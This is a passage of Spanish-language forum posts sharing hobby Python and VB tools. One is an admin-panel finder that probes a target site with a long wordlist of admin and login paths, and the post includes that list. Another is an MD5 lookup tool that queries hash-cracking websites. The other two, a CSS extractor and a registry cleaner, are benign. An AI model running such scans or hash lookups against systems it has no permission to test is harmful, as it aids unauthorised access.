# -*- coding:utf-8 -*-

#11Sep

from PyQt4 import QtCore, QtGui
import sys
import time
import httplib

class GUI(QtGui.QWidget):
    def __init__(self):
        QtGui.QWidget.__init__(self)
        self.setWindowTitle("Admin Panel Finder")
        self.resize(500, 300)

        self.Caja = QtGui.QVBoxLayout()
        self.Caja1 = QtGui.QHBoxLayout()
        self.Caja2 = QtGui.QHBoxLayout()
        self.Caja3 = QtGui.QHBoxLayout()
        self.Caja4 = QtGui.QHBoxLayout()
        self.Caja5 = QtGui.QHBoxLayout()
        self.Caja6 = QtGui.QHBoxLayout()

        self.txtUrl = QtGui.QLineEdit()
        self.btnBuscar = QtGui.QPushButton('Buscar')
        self.connect(self.btnBuscar, QtCore.SIGNAL("clicked()"), self.Buscar)

        self.lista = QtGui.QTextEdit()

        self.barraProgreso = QtGui.QProgressBar()
        self.barraProgreso.setMinimum(0)
        self.barraProgreso.setMaximum(100)

        self.btnParar = QtGui.QPushButton("Parar")
        self.btnParar.setEnabled(False)
        self.connect(self.btnParar, QtCore.SIGNAL("clicked()"), lambda: self.thread.terminate())
        self.btnLimpiar = QtGui.QPushButton("Limpiar")
        self.connect(self.btnLimpiar, QtCore.SIGNAL("clicked()"), self.Limpiar)

        self.status = QtGui.QStatusBar()

        self.banner = QtGui.QPixmap("logo.png")
        self.asd = QtGui.QLabel("")

        self.Caja1.addWidget(QtGui.QLabel(u'Dirección:'))
        self.Caja1.addWidget(self.txtUrl)
        self.Caja1.addWidget(self.btnBuscar)

        self.Caja2.addWidget(self.lista)

        self.Caja3.addWidget(self.barraProgreso)

        self.Caja4.addWidget(self.btnParar)
        self.Caja4.addWidget(self.btnLimpiar)

        self.Caja5.addWidget(self.status)

        self.Caja6.addWidget(self.asd)
        self.asd.setPixmap(self.banner)
        self.asd.setStyleSheet("background: rgba(0, 0, 0); border-radius: 50px;")

        self.Caja.addLayout(self.Caja6)
        self.Caja.addLayout(self.Caja1)
        self.Caja.addLayout(self.Caja2)
        self.Caja.addLayout(self.Caja4)
        self.Caja.addLayout(self.Caja3)
        self.Caja.addLayout(self.Caja5)

        self.setLayout(self.Caja)

    def Buscar(self):
        global URL
        URL = str(self.txtUrl.text())
        self.btnParar.setEnabled(True)
        self.thread = Thread()
        self.connect(self.thread, QtCore.SIGNAL("Barra"), self.Actualizar)
        self.connect(self.thread, QtCore.SIGNAL("Mensaje"), self.Anadir)
        self.connect(self.thread, QtCore.SIGNAL("Status"), lambda X: self.status.showMessage(X))
        self.thread.start()

    def Actualizar(self, Valor):
        self.barraProgreso.setValue(Valor)

    def Anadir(self, Datos):
        Datos = Datos.split("*")
        if Datos[1] == "200":
            self.lista.append('<font color="green">%s</font>' % (URL + "/" + Datos[0] + " " + Datos[1]))
        else:
            self.lista.append('<font color="orange">%s</font>' % (URL + "/" + Datos[0] + " " + Datos[1]))

    def Limpiar(self):
        self.txtUrl.setText("")
        self.lista.setText("")
        self.btnParar.setEnabled(False)


class Thread(QtCore.QThread):

    def __init__(self):
        QtCore.QThread.__init__(self)

    def __del__(self):
        self.wait()

    def run(self):
        self.Buscar()

    def Panels(self):
        self.Emitir("Abriendo lista de paneles", 3)
        self.Panel = open("panel.txt", "r").read()
        self.Panel = self.Panel.split()

    def Buscar(self):
        self.Panels()
        for i in self.Panel:
            print i,
            Mensaje = "Verificando: " + i
            self.Emitir(Mensaje, 3)
            Conn = httplib.HTTPConnection(URL)
            Conn.request("GET", "/" + i)
            r1 = Conn.getresponse()
            print r1.status
            if r1.status == 200 or r1.status == 301:
                Mensaje = i + "*" + str(r1.status)
                self.Emitir(str(Mensaje), 2)
            self.Emitir((self.Panel.index(i) * 100) / len(self.Panel))

    def Emitir(self, Mensaje, Opt=1):
        time.sleep(0.3)
        if Opt == 1:
            self.emit(QtCore.SIGNAL("Barra"), Mensaje)
        elif Opt == 2:
            self.emit(QtCore.SIGNAL("Mensaje"), Mensaje)
        else:
            self.emit(QtCore.SIGNAL("Status"), Mensaje)

if __name__ == '__main__':
    App = QtGui.QApplication(sys.argv)
    Ini = GUI()
    Ini.show()
    App.exec_()



Para funcionar, necesita una lista con los paneles en la misma carpeta donde este el script con el nombre panel.txt. Acá dejo una que encontre hace un tiempo

Código: php

cpanel/ admin.php admin/ administrator/ webadmin/ adminarea/ bb-admin/ adminLogin/ admin_area/ panel-administracion/ instadmin/ memberadmin/ administratorlogin/ adm/ admin/account.php admin/index.php admin/login.php admin/admin.php admin/account.php joomla/administrator login.php admin_area/admin.php admin_area/login.php siteadmin/login.php siteadmin/index.php siteadmin/login.html admin/account.html admin/index.html admin/login.html admin/admin.html admin_area/index.php bb-admin/index.php bb-admin/login.php bb-admin/admin.php admin/home.php admin_area/login.html admin_area/index.html admin/controlpanel.php admincp/index.asp admincp/login.asp admincp/index.html admin/account.html adminpanel.html webadmin.html webadmin/index.html webadmin/admin.html webadmin/login.html admin/admin_login.html admin_login.html panel-administracion/login.html admin/cp.php cp.php administrator/index.php administrator/login.php nsw/admin/login.php webadmin/login.php admin/admin_login.php admin_login.php administrator/account.php
administrator.php admin_area/admin.html pages/admin/admin-login.php admin/admin-login.php admin-login.php bb-admin/index.html bb-admin/login.html bb-admin/admin.html admin/home.html modelsearch/login.php moderator.php moderator/login.php moderator/admin.php account.php pages/admin/admin-login.html admin/admin-login.html admin-login.html controlpanel.php admincontrol.php admin/adminLogin.html adminLogin.html admin/adminLogin.html home.html rcjakar/admin/login.php adminarea/index.html adminarea/admin.html webadmin.php webadmin/index.php webadmin/admin.php admin/controlpanel.html admin.html admin/cp.html cp.html adminpanel.php moderator.html administrator/index.html administrator/login.html user.html administrator/account.html administrator.html login.html modelsearch/login.html moderator/login.html adminarea/login.html panel-administracion/index.html panel-administracion/admin.html modelsearch/index.html modelsearch/admin.html admincontrol/login.html adm/index.html adm.html moderator/admin.html user.php
account.html controlpanel.html admincontrol.html panel-administracion/login.php wp-login.php adminLogin.php admin/adminLogin.php home.php adminarea/index.php adminarea/admin.php adminarea/login.php panel-administracion/index.php panel-administracion/admin.php modelsearch/index.php modelsearch/admin.php admincontrol/login.php adm/admloginuser.php admloginuser.php admin2.php   admin2/login.php admin2/index.php adm/index.php adm.php affiliate.php adm_auth.php memberadmin.php administratorlogin.php cms/ beheer/ webmaster/ web-master/ web-beheerder/ webbeheerder/ bestuur/ intranet/ intronet/ staff/ staff/index.php staff/login.php staff/members.php staff/member.php personeel/ personeel/login.php personeel/index.php account/index.php account/ manager/index.php manager/ manage/ manage/index.php controlemanager/ admin1.php admin1.html admin2.php admin2.html yonetim.php yonetim.html yonetici.php yonetici.html adm/ admin/ admin/account.php admin/account.html admin/index.php admin/index.html admin/login.php admin/login.
html admin/home.php admin/controlpanel.html admin/controlpanel.php admin.php admin.html admin/cp.php admin/cp.html cp.php cp.html administrator/ administrator/index.html administrator/index.php administrator/login.html administrator/login.php administrator/account.html administrator/account.php administrator.php administrator.html login.php login.html modelsearch/login.php moderator.php moderator.html moderator/login.php moderator/login.html moderator/admin.php moderator/admin.html moderator/ account.php account.html controlpanel/ controlpanel.php controlpanel.html admincontrol.php admincontrol.html adminpanel.php adminpanel.html admin1.asp admin2.asp yonetim.asp yonetici.asp admin/account.asp admin/index.asp admin/login.asp admin/home.asp admin/controlpanel.asp admin.asp admin/cp.asp cp.asp administrator/index.asp administrator/login.asp administrator/account.asp administrator.asp login.asp modelsearch/login.asp moderator.asp moderator/login.asp moderator/admin.asp account.asp controlpanel.asp admincontrol.
asp adminpanel.asp fileadmin/ fileadmin.php fileadmin.asp fileadmin.html administration/ administration.php administration.html sysadmin.php sysadmin.html phpmyadmin/ myadmin/ sysadmin.asp sysadmin/ ur-admin.asp ur-admin.php ur-admin.html ur-admin/ Server.php Server.html Server.asp Server/ wp-admin/ administr8.php administr8.html administr8/ administr8.asp webadmin/ webadmin.php webadmin.asp webadmin.html administratie/ admins/ admins.php admins.asp admins.html administrivia/ Database_Administration/ WebAdmin/ useradmin/ sysadmins/ admin1/ system-administration/ administrators/ pgadmin/ directadmin/ staradmin/ ServerAdministrator/ SysAdmin/ administer/ LiveUser_Admin/ sys-admin/ typo3/ panel/ cpanel/ cpanel_file/ platz_login/ rcLogin/ blogindex/ formslogin/ autologin/ support_login/ meta_login/ manuallogin/ simpleLogin/ loginflat/ utility_login/ showlogin/ memlogin/ members/ login-redirect/ sub-login/ wp-login/ login1/ dir-login/ login_db/ xlogin/ smblogin/ customer_login/ UserLogin/ login-us/ acct_login/
admin_area/ bigadmin/ project-admins/ phppgadmin/ pureadmin/ sql-admin/ radmind/ openvpnadmin/ wizmysqladmin/ vadmind/ ezsqliteadmin/ hpwebjetadmin/ newsadmin/ adminpro/ Lotus_Domino_Admin/ bbadmin/ vmailadmin/ Indy_admin/ ccp14admin/ irc-macadmin/ banneradmin/ sshadmin/ phpldapadmin/ macadmin/ administratoraccounts/ admin4_account/ admin4_colon/ radmind-1/ Super-Admin/ AdminTools/ cmsadmin/ SysAdmin2/ globes_admin/ cadmins/ phpSQLiteAdmin/ navSiteAdmin/ server_admin_small/ logo_sysadmin/ server/ database_administration/ power_user/ system_administration/ ss_vms_admin_sm/ blog/wp-admin/


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!font color=
#31
Python / [GTK] MD5 Searcher
Enero 02, 2013, 07:28:34 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: python
#!/usr/bin/python
# -*- coding: utf-8 -*-

import pygtk
pygtk.require('2.0')
import gtk, urllib, re

WEB = ('http://md5.noisette.ch/md5.php?hash=%s', 'http://md5.hashcracking.com/search.php?md5=%s', 'http://www.md5this.com/callme.php?hash=%s', 'http://md5.gromweb.com/query/%s', 'http://xanadrel.99k.org/hashes/api.php?hash=%s', 'http://md5-db.de/%s.html')

EXP = ('.*<string><!\[CDATA\[(.*)\]\]></string>.*', '.*is(.*)', '.*<fontsize\=\"\+6\">(.*)</font></font>.*', '(.+)', '.*<plain>(.*)</plain>.*', '.*</strong><ul><li>(.*)</li></ul></td>.*')

###########################
# | Label | Caja | Boton  #
# ----------------------- #
# |      Separador      | #
# ----------------------- #
# |        Label        | #
# ----------------------- #
# |        Salir        | #
###########################

class X:
def __init__(mi):
mi.ventana = gtk.Window(gtk.WINDOW_TOPLEVEL)
mi.ventana.set_title('MD5 Searcher GUI -11Sep-')
mi.ventana.set_border_width(10)
mi.ventana.connect('destroy', mi.Cerrar)

Tabla = gtk.Table(5, 4, False)
Tabla.set_row_spacings(5)
Tabla.set_col_spacings(5)

LblMd5 = gtk.Label('Valor MD5:')
TxtMd5 = gtk.Entry(32)
TxtMd5.set_width_chars(32)
LblResultado = gtk.Label('Resultado: ')
Separador1 = gtk.HSeparator()
Separador2 = gtk.HSeparator()

CmdBuscar = gtk.Button('Buscar')
CmdBuscar.connect('clicked', mi.Buscar, TxtMd5, LblResultado)

CmdSalir = gtk.Button('Salir')
CmdSalir.connect('clicked', mi.Cerrar)

Tabla.attach(LblMd5, 0, 1, 0, 1)
Tabla.attach(TxtMd5, 1, 3, 0, 1)
Tabla.attach(CmdBuscar, 3, 4, 0, 1)
Tabla.attach(Separador1, 0, 4, 1, 2)
Tabla.attach(LblResultado, 0, 4, 2, 3)
Tabla.attach(Separador2, 0, 4, 3, 4)
Tabla.attach(CmdSalir, 3, 4, 4, 5)

LblMd5.show()
TxtMd5.show()
CmdBuscar.show()
Separador1.show()
LblResultado.show()
Separador2.show()
CmdSalir.show()
Tabla.show()

mi.ventana.add(Tabla)
mi.ventana.show()

def Cerrar(mi, objeto, datos = None):
gtk.main_quit()
return False

def Buscar(mi, objeto, Texto, Res):
Res.set_text('Resultado: ')
try:
hash = Texto.get_text()
for i in range(len(WEB)):
datos = 'Buscando en: %s' % (WEB[i].split('/')[2])
mi.Imprimir(Res, datos)
tmp = urllib.urlopen(WEB[i] % hash).read()
tmp = tmp.replace(' ', '')
tmp = tmp.replace('\n','')
resultado = re.match(EXP[i], tmp)
if resultado == None:
mi.Imprimir(Res, '\t Sin Resultados')
else:
mi.Imprimir(Res, '\t %s' % resultado.group(1))
except:
print 'Oops, un error ha ocurrido.'

def Imprimir(mi, Res, Datos):
texto = u'%s\r\n%s' % (Res.get_text(), Datos)
Res.set_text(texto)

def main():
gtk.main()

if __name__ == '__main__':
X()
main()



Saludos!
#32
Python / [PyQt4] CSS Extractor
Enero 02, 2013, 06:31:55 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Un pequeño script que saca las hojas de estilo externas (incluidas en la etiquetas link de HTML) El código no hace mucho pero necesitaba tener claro el threading en pyqt4 antes de codear algo más "grande" y esto fue lo que salió
Código: python

#!/usr/bin/python
# -*- coding:utf-8 -*-
# Once

from PyQt4 import QtCore, QtGui
import urllib
import time
import sys
import re

URL = ""

class GUI(QtGui.QWidget):
    def __init__(self):
        QtGui.QWidget.__init__(self)
        self.setWindowTitle("CSS Extractor -Once-")
        self.resize(500, 500)

        self.Caja = QtGui.QVBoxLayout()
        self.Caja1 = QtGui.QHBoxLayout()
        self.Caja2 = QtGui.QHBoxLayout()
        self.Caja3 = QtGui.QHBoxLayout()
        self.Barra = QtGui.QHBoxLayout()

        self.Tab = QtGui.QTabWidget()

        self.BtnEnviar = QtGui.QPushButton("Buscar estilos")
        self.connect(self.BtnEnviar, QtCore.SIGNAL("clicked()"), self.Comprobar)

        self.TxtDireccion = QtGui.QLineEdit()
        self.TxtCSS = QtGui.QListWidget()
        self.LblBarra = QtGui.QLabel("")

        self.BtnCancelar = QtGui.QPushButton("Cancelar")
        self.connect(self.BtnCancelar, QtCore.SIGNAL("clicked()"), self.Cancelar)
        self.BtnLimpiar = QtGui.QPushButton("Limpiar")
        self.connect(self.BtnLimpiar, QtCore.SIGNAL("clicked()"), self.Clear)

        self.Caja1.addWidget(QtGui.QLabel("URL:"))
        self.Caja1.addWidget(self.TxtDireccion)
        self.Caja1.addWidget(self.BtnEnviar)

        self.Caja2.addWidget(self.Tab)

        self.Tab.addTab(self.TxtCSS, "General")

        self.Caja3.addWidget(self.BtnCancelar)
        self.Caja3.addWidget(self.BtnLimpiar)

        self.Barra.addWidget(self.LblBarra)

        self.Caja.addLayout(self.Caja1)
        self.Caja.addLayout(self.Caja2)
        self.Caja.addLayout(self.Caja3)
        self.Caja.addLayout(self.Barra)

        self.setLayout(self.Caja)

    def Comprobar(self):
        global URL
        self.Clear()
        URL = str(self.TxtDireccion.text())
        self.Hilo = Thread()
        self.connect(self.Hilo, QtCore.SIGNAL("actualizar"), self.Prueba)
        self.connect(self.Hilo, QtCore.SIGNAL("barra"), lambda X: self.LblBarra.setText(X))
        self.connect(self.Hilo, QtCore.SIGNAL("tab"), self.AddTab)
        self.Hilo.start()

    def Guardar(self):
        print "Guardar"

    def Cancelar(self):
        self.Hilo.terminate()
        self.LblBarra.setText("Cancelado por el usuario")

    def Prueba(self, Data):
        self.TxtCSS.addItem(Data)

    def AddTab(self, Data):
        Data = Data.split("[-*-]")
        self.Tab.addTab(QtGui.QTextEdit(Data[0]), Data[1])

    def Clear(self):
        self.Tab.clear()
        self.TxtCSS.clear()
        self.Tab.addTab(self.TxtCSS, "General")
        self.LblBarra.setText("")

class Thread(QtCore.QThread):
    def __init__(self):
        QtCore.QThread.__init__(self)

    def run(self):
        self.Mostrar(self.Llamar(), 2)

    def __del__(self):
        self.wait()

    def Traer(self, Url, Link):
        try:
            Buffer = urllib.urlopen(Url + Link).read() + "[-*-]" + Link
            self.Mostrar(Buffer, 3)
        except:
            self.Mostrar("Error abriendo la hoja de estilo")

    def Urls(self, Link):
        Buffer = ""
        if Link[:7] == "http://":
            Link = Link
        elif Link[0] == "/":
            Buffer = re.findall("(http://.*?\..*?)/", URL)[0] + "/"
        else:
            Buffer = re.findall("(http://.*/)", URL)[0]
        self.Traer(Buffer, Link)
        return(Link)

    def Links(self, Data):
        Buffer = ""
        Cantidad = 0
        Data = Data.replace("><", ">\r\n<")
        Expresion = re.compile('<link(.*).*?>')
        Resultado = Expresion.findall(Data)
        for i in Resultado:
            if "stylesheet" in i:
                Css = re.findall(" href *= *[\"\'](.*?)[\"|\'] *", i)
                self.Mostrar("Estilo encontrado en:" + Css[0])
                Cantidad += 1
                self.Mostrar(self.Urls(Css[0]), 2)
        self.Mostrar("%d Estilos encontrados" % Cantidad)
        return(Buffer)

    def Llamar(self):
        self.Mostrar("Abriendo web: " + URL)
        try:
            self.Links(urllib.urlopen(URL).read())
        except:
            self.Mostrar("No se pudo abrir la Web")

    def Mostrar(self, Mensaje, Opt=1):
        time.sleep(0.3)
        if Opt == 1:
            self.emit(QtCore.SIGNAL("barra"), Mensaje)
        elif Opt == 2:
            self.emit(QtCore.SIGNAL("actualizar"), Mensaje)
        else:
            self.emit(QtCore.SIGNAL("tab"), Mensaje)

if __name__ == '__main__':
    App = QtGui.QApplication(sys.argv)
    Ini = GUI()
    Ini.show()
    App.exec_()



Saludos!
#33
Códigos Fuentes / RegCleaner
Julio 01, 2010, 02:54:27 PM
Buena, esta aplicacion lo que hace es eliminarlas entradas maliciosas creadas por los virus que te deshabilitan el registro, o te quitan el boton inicio, etc.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Código: vb

Option Explicit
Dim Rege As Object

Const System  As String = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
Const Explorer As String = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\"

Private Sub Form_Load()
   Set Rege = CreateObject("WScript.Shell")
End Sub

Private Sub LblAceptar_Click()
  If Me.ChkAdmin.Value = 1 Then TaskMgr
  If Me.ChkApagar.Value = 1 Then Boton
  If Me.ChkBuscar.Value = 1 Then Buscar
  If Me.ChkDesinstalar.Value = 1 Then DesInstalar
  If Me.ChkMenu.Value = 1 Then Menu
  If Me.ChkMsConfig.Value = 1 Then MsConfig
  If Me.ChkOcultos.Value = 1 Then FilesHidden
  If Me.ChkOptFile.Value = 1 Then OptCarpeta
  If Me.ChkPanel.Value = 1 Then Panel
  If Me.ChkPantalla.Value = 1 Then Pantalla
  If Me.ChkReg.Value = 1 Then Registro
  If Me.ChkRun.Value = 1 Then Ejecutar
 
  MsgBox "Listo, para que los cambios hagan efecto, por favor reinicie el PC", vbInformation, "S&S Labs"
End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'1.
Sub Registro()
On Error Resume Next
'Habilita el registro
   Rege.regdelete System & "DisableRegistryTools"
End Sub

'2.
Sub TaskMgr()
On Error Resume Next
'Habilita el Administrador de tareas
   Rege.regdelete System & "DisableTaskMgr"
End Sub

'3.
Sub OptCarpeta()
On Error Resume Next
'Habilita las opciones de carpeta
   Rege.regdelete Explorer & "NoFolderOptions"
End Sub

'4.
Sub Ejecutar()
On Error Resume Next
'Habilita ejecutar [Win + r]
   Rege.regdelete Explorer & "NoRun"
End Sub

'5.
Sub Panel()
On Error Resume Next
'Habilita panel de control
   Rege.regdelete Explorer & "NoControlPanel"
End Sub

'6.
Sub Boton()
On Error Resume Next
'Muestra el boton apagar
   Rege.regdelete Explorer & "NoClose"
End Sub

'7.
Sub DesInstalar()
On Error Resume Next
'Permite desinstalar programas
   Rege.regdelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall\NoAddRemovePrograms"
End Sub

'8.
Sub Menu()
On Error Resume Next
'Habilita el menu contextual
   Rege.regdelete Explorer & "NoViewContextMenu"
End Sub

'9.
Sub Pantalla()
On Error Resume Next
'Propiedades de pantalla
   Rege.regdelete System & "NoDispCpl"
End Sub

'10.
Sub Buscar()
On Error Resume Next
'Habilita la opcion buscar
   Rege.regdelete Explorer & "NoFind"
End Sub

'11.
Sub MsConfig()
On Error Resume Next
'Habilita el msconfig
   Rege.regdelete System & "DisableMsConfig"
End Sub

'12.
Sub FilesHidden()
On Error Resume Next
'Muestralos archivos ocultos
   Rege.regdelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced\Hidden"
End Sub


Este solo soluciona 12 problemas, pero obviamente se pueden ir agregando mas.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.